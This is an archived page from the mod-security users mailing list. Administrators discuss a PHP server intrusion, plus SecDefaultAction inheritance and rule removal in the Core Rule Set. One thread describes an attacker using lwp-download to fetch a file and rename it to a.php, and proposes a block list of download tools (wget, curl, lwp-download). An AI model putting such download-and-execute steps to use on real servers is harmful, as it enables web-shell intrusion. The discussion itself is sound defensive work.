headers
John covici | 2 Dec 17:00

writing of php file to webserver owned directory -- can mod-security prevent this?

Hi.  I had an attack this morning where someone was able to execute
lwp-download for a text file and then rename it to a php file and then
he had some fun.  The php file was called a.php and all the comments
are in a different character set, maybe Eastern European.

I have client-ip followed by the download command and in the next
request by the mv command.  These were in the audit.log part B of each request.

  Can mod-security prevent such a thing?  

Any assistance would be appreciated.

--

-- 
Your life is like a penny.  You're going to lose it.  The question is:
How do
you spend it?

         John Covici
         covici <at> ccs.covici.com

-------------------------------------------------------------------------
SF.Net email is sponsored by: The Future of Linux Business White Paper
from Novell.  From the desktop to the data center, Linux is going
mainstream.  Let it simplify your IT future.
http://altfarm.mediaplex.com/ad/ck/8857-50307-18918-4
Permalink | Reply | 3 comments |
headers
Rudi Starcevic | 3 Dec 01:54

Re: writing of php file to webserver owned directory -- can mod-security prevent this?

Hi John,

Two things that come straight to mind are:

1) Using a 'chroot' for you Apache/PHP install. This will help
prevent the tools such as 'lwp-download' being available if your exploited.

2) Using PHP safe-mode. Also helps prevent writing to un-authorized
directories.

Hope this helps.

> Hi.  I had an attack this morning where someone was able to execute
> lwp-download for a text file and then rename it to a php file and then
> he had some fun.  The php file was called a.php and all the comments
> are in a different character set, maybe Eastern European.
>
> I have client-ip followed by the download command and in the next
> request by the mv command.  These were in the audit.log part B of each request.
>
>   Can mod-security prevent such a thing?  
>
> Any assistance would be appreciated.
>
>   

Thank you.
Regards,
Rudi.
--

--
(Continue reading)

Permalink | Reply | 2 comments |
headers
John covici | 3 Dec 02:59

Re: writing of php file to webserver owned directory -- can mod-security prevent this?

I was thinking of adding some commands to the rule  950006 -- changing
it to my own Id number and adding things like wget, lpw-download, curl
etc.  Would this help me -- being new to mod-security?

Php safe modeis apparently not regarded as very effective -- there is
a README file which says the security team will not pay any attention
to those -- they consider safe mode as a broken way to fix these.

on Monday 12/03/2007 Rudi Starcevic(tech <at> wildcash.com) wrote
 > Hi John,
 > 
 > Two things that come straight to mind are:
 > 
 > 1) Using a 'chroot' for you Apache/PHP install. This will help
 > prevent the tools such as 'lwp-download' being available if your exploited.
 > 
 > 2) Using PHP safe-mode. Also helps prevent writing to un-authorized
 > directories.
 > 
 > Hope this helps.
 > 
 > > Hi.  I had an attack this morning where someone was able to execute
 > > lwp-download for a text file and then rename it to a php file and then
 > > he had some fun.  The php file was called a.php and all the comments
 > > are in a different character set, maybe Eastern European.
 > >
 > > I have client-ip followed by the download command and in the next
 > > request by the mv command.  These were in the audit.log part B of each request.
 > >
 > >   Can mod-security prevent such a thing?
(Continue reading)

Permalink | Reply | 1 comment |
headers
Nick Gearls | 4 Dec 10:27
Picon
Gravatar

SecDefaultAction inheritance

Hello,

Am I right in stating that a SecDefaultAction completely overwrite any 
previous SecDefaultAction, and directives are not "added".
Example:
    SecDefaultAction "phase:2,deny,t:lowercase,..."
    SecDefaultAction "phase:2,deny,sanitiseArg:password"
If I have a rule now, it will not change the string to lowercase before 
handling it, right ?

So, subsidiary question: how to specify to sanitize args inside a 
location, for all rules ?
I did not find a way to control this with the ctl: inside a rule.
Is there any way, or do we have to add all password field names in the 
main SecDefaultAction directive ?

Thanks,

Nick

-------------------------------------------------------------------------
SF.Net email is sponsored by: The Future of Linux Business White Paper
from Novell.  From the desktop to the data center, Linux is going
mainstream.  Let it simplify your IT future.
http://altfarm.mediaplex.com/ad/ck/8857-50307-18918-4
Permalink | Reply | 3 comments |
headers
Nick Gearls | 4 Dec 10:37
Picon
Gravatar

Remove rule inside a rule

Hi,

It seems that SecRuleRemoveByID cannot be used inside a chain, like in:
    SecRule ... ...,chain
    SecRuleRemoveByID ...

How can we disable a rule (which is not the following one) based on some 
aspects of the request ?

Thanks,

Nick

-------------------------------------------------------------------------
SF.Net email is sponsored by: The Future of Linux Business White Paper
from Novell.  From the desktop to the data center, Linux is going
mainstream.  Let it simplify your IT future.
http://altfarm.mediaplex.com/ad/ck/8857-50307-18918-4
Permalink | Reply | 2 comments |
headers
Avi Aminov | 4 Dec 10:54

Re: SecDefaultAction inheritance

Hi Nick,

Your observation of SecDefaultAction. It runs over any other transformations,actions and phase
described by previous SecDefaultAction.

As for sanitizing on every log, simply add a rule in phase:5
SecAction "phase:5,nolog,pass,sanitiseArg:password"

Avi

 
________________________________

מאת: mod-security-users-bounces <at> lists.sourceforge.net בשם Nick Gearls
נשלח: ג 04/12/2007 11:27
אל: mod-security-users <at> lists.sourceforge.net
נושא: [mod-security-users] SecDefaultAction inheritance

Hello,

Am I right in stating that a SecDefaultAction completely overwrite any
previous SecDefaultAction, and directives are not "added".
Example:
    SecDefaultAction "phase:2,deny,t:lowercase,..."
    SecDefaultAction "phase:2,deny,sanitiseArg:password"
If I have a rule now, it will not change the string to lowercase before
handling it, right ?

So, subsidiary question: how to specify to sanitize args inside a
location, for all rules ?
(Continue reading)

Permalink | Reply | 0 comments |
headers
Avi Aminov | 4 Dec 11:14

Re: Remove rule inside a rule

Hi again Nick,

Yes, SecRuleRemoveById cannot be chained to other rules. Version 2.5.0 will have the ability to remove
rules in runtime using the ctl action (not included in the dev2 version currently available in the
website, but should be available in the next dev version).

In the meantime, you can do the following:
* To make an exception based on location, you can use:
<Location ^/somewhere/≥
  SecRuleRemoveById 999999
</Location>

* For exclusions based on other parameters, see Ryan's blog entry:
http://www.modsecurity.org/blog/archives/2007/02/handling_false.html

Avi

________________________________

מאת: mod-security-users-bounces <at> lists.sourceforge.net בשם Nick Gearls
נשלח: ג 04/12/2007 11:37
אל: mod-security-users <at> lists.sourceforge.net
נושא: [mod-security-users] Remove rule inside a rule

Hi,

It seems that SecRuleRemoveByID cannot be used inside a chain, like in:
    SecRule ... ...,chain
    SecRuleRemoveByID ...
(Continue reading)

Permalink | Reply | 0 comments |
headers
John covici | 4 Dec 14:01

secdefaultaction and the core rule set

Hi.  There is something I do not understand about the way
secdefaultaction works with the core rule set.  I have changed the
default in modsecurity_crs_10_config.conf to SecDefaultAction
"phase:2,log,deny,status:500" -- however I find in some of the rule
sets a default action of pass -- do I have to change those to deny the
subsequent rules in the files -- such as
modsecurity_crs_30_http_policy.conf or
modsecurity_crs_40_generic_attacks.conf which have near the beginning
SecDefaultAction "log,pass,phase:2,status:500,t:none" -- so do I need
to change those?

Thanks in advance for any suggestions.

--

-- 
Your life is like a penny.  You're going to lose it.  The question is:
How do
you spend it?

         John Covici
         covici <at> ccs.covici.com

-------------------------------------------------------------------------
SF.Net email is sponsored by: The Future of Linux Business White Paper
from Novell.  From the desktop to the data center, Linux is going
mainstream.  Let it simplify your IT future.
http://altfarm.mediaplex.com/ad/ck/8857-50307-18918-4
Permalink | Reply | 4 comments |
headers
Ryan Barnett | 4 Dec 18:22

Re: SecDefaultAction inheritance

> -----Original Message-----
> From: mod-security-users-bounces <at> lists.sourceforge.net [mailto:mod-
> security-users-bounces <at> lists.sourceforge.net] On Behalf Of Nick Gearls
> Sent: Tuesday, December 04, 2007 4:27 AM
> To: mod-security-users <at> lists.sourceforge.net
> Subject: [mod-security-users] SecDefaultAction inheritance
> 
> Hello,
> 
> Am I right in stating that a SecDefaultAction completely overwrite any
> previous SecDefaultAction, and directives are not "added".
> Example:
>     SecDefaultAction "phase:2,deny,t:lowercase,..."
>     SecDefaultAction "phase:2,deny,sanitiseArg:password"
> If I have a rule now, it will not change the string to lowercase
before
> handling it, right ?
[Ryan Barnett] That is correct, unless you happen to have any actions
specified on the individual rule that may over ride these settings.  You
also should be careful with transformation functions, as any "t:" usage
on an individual rule will be in addition to what was specified on a
SecDefaultAction.  

> 
> So, subsidiary question: how to specify to sanitize args inside a
> location, for all rules ?
> I did not find a way to control this with the ctl: inside a rule.
> Is there any way, or do we have to add all password field names in the
> main SecDefaultAction directive ?
>
(Continue reading)

Permalink | Reply | 1 comment |
headers
Ryan Barnett | 4 Dec 19:34

Re: secdefaultaction and the core rule set

> -----Original Message-----
> From: mod-security-users-bounces <at> lists.sourceforge.net [mailto:mod-
> security-users-bounces <at> lists.sourceforge.net] On Behalf Of John covici
> Sent: Tuesday, December 04, 2007 8:02 AM
> To: mod-security-users <at> lists.sourceforge.net
> Subject: [mod-security-users] secdefaultaction and the core rule set
> 
> Hi.  There is something I do not understand about the way
> secdefaultaction works with the core rule set.  I have changed the
> default in modsecurity_crs_10_config.conf to SecDefaultAction
> "phase:2,log,deny,status:500" -- however I find in some of the rule
> sets a default action of pass -- do I have to change those to deny the
> subsequent rules in the files -- such as
> modsecurity_crs_30_http_policy.conf or
> modsecurity_crs_40_generic_attacks.conf which have near the beginning
> SecDefaultAction "log,pass,phase:2,status:500,t:none" -- so do I need
> to change those?
[Ryan Barnett] The methodology used with the Core Rules is to specify a
SecDefaultAction at the top of each rule file.  This is used since the
individual Core Rules are grouped together by different attack-type
categories (HTTP compliance, General Attacks, etc...) and you may want
to use different disruptive actions (deny, drop, pass, etc...) for each
category.  For instance, you may not want to deny access to clients who
are missing a request header and instead just alert on this issue.

If you want to use the same disruptive action for ALL rule matches just
set/use the one in the *10* config file then you would need to do the
following -

1) Remove the SecDefaultAction from the top of the other rule files.
(Continue reading)

Permalink | Reply | 3 comments |

Gmane